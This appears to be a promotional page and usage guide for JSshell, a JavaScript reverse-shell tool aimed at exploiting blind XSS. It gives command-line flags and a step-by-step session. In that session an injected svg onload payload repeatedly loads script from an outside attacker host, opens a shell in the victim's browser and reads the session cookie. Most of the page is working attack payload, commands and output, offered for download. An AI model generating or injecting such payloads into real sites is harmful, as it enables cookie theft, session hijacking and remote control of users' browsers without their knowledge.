JSshell – a JavaScript reverse shell. This is used to execute JS code remotely, exploit blind XSS, …
This tool works for both Unix and Windows operating systems, and it can run on both Python 2 + Python 3. This is a big update of JShell – a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn’t require Netcat (different from JShell).
New in JSshell version 3.1
Updated in the new version of JShell 3.1:
- New JSshell command:
snippet-> allows to write a snippet of javascript code
>>> snippet
Use CTRL+D to finish the snippet
function new() {
new = 'New update: Support javascript snippet =)';
confirm(new)
}
new()
>>> - Quiet mode (for professionals)
- Added
<body>reverse shell payload - Fixed some bugs
Usage
Generate JS reverse shell payload: -g
Set the local port number for listening and generating payload (By default, it will be set to 4848): -p
Set the local source address for generating payload (JSshell will detect your IP address by deault): -s
Set timeout for shell connection (if the user exit page, the shell will be pause, and if your set the timeout, after a while without response, the shell will automatically be closed): -w
Execute a command after get the shell: -c
Example usages:
jsh.pyjsh.py -gjsh.py -p 1234jsh.py -s 48.586.1.23 -gjsh.py -c "alert(document.cookie)" -w 10
An example for running JSshell:
This is a step-by-step example for how to use JSshell.
First we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:
~# whoami
root
~# ls
README.md jsh.py
~# python3 jsh.py -g -w 20
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Now paste this payload to the website (or URL):
Access the page and now we will see that we have got the reverse JS shell:
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$
Now let’s execute some commands:
$ var test = 'controlled'
$ alert(test)
$
And the browser got an alert: controlled
$ prompt(document.cookie)
$
And the browser print the user cookies: JSESSION=3bda8...
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#
Download: https://github.com/shelld3v/JSshell
